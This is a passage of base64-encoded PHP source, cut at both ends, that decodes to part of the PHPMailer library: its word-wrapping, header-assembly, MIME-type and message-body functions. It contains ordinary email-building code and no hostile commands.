sKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYX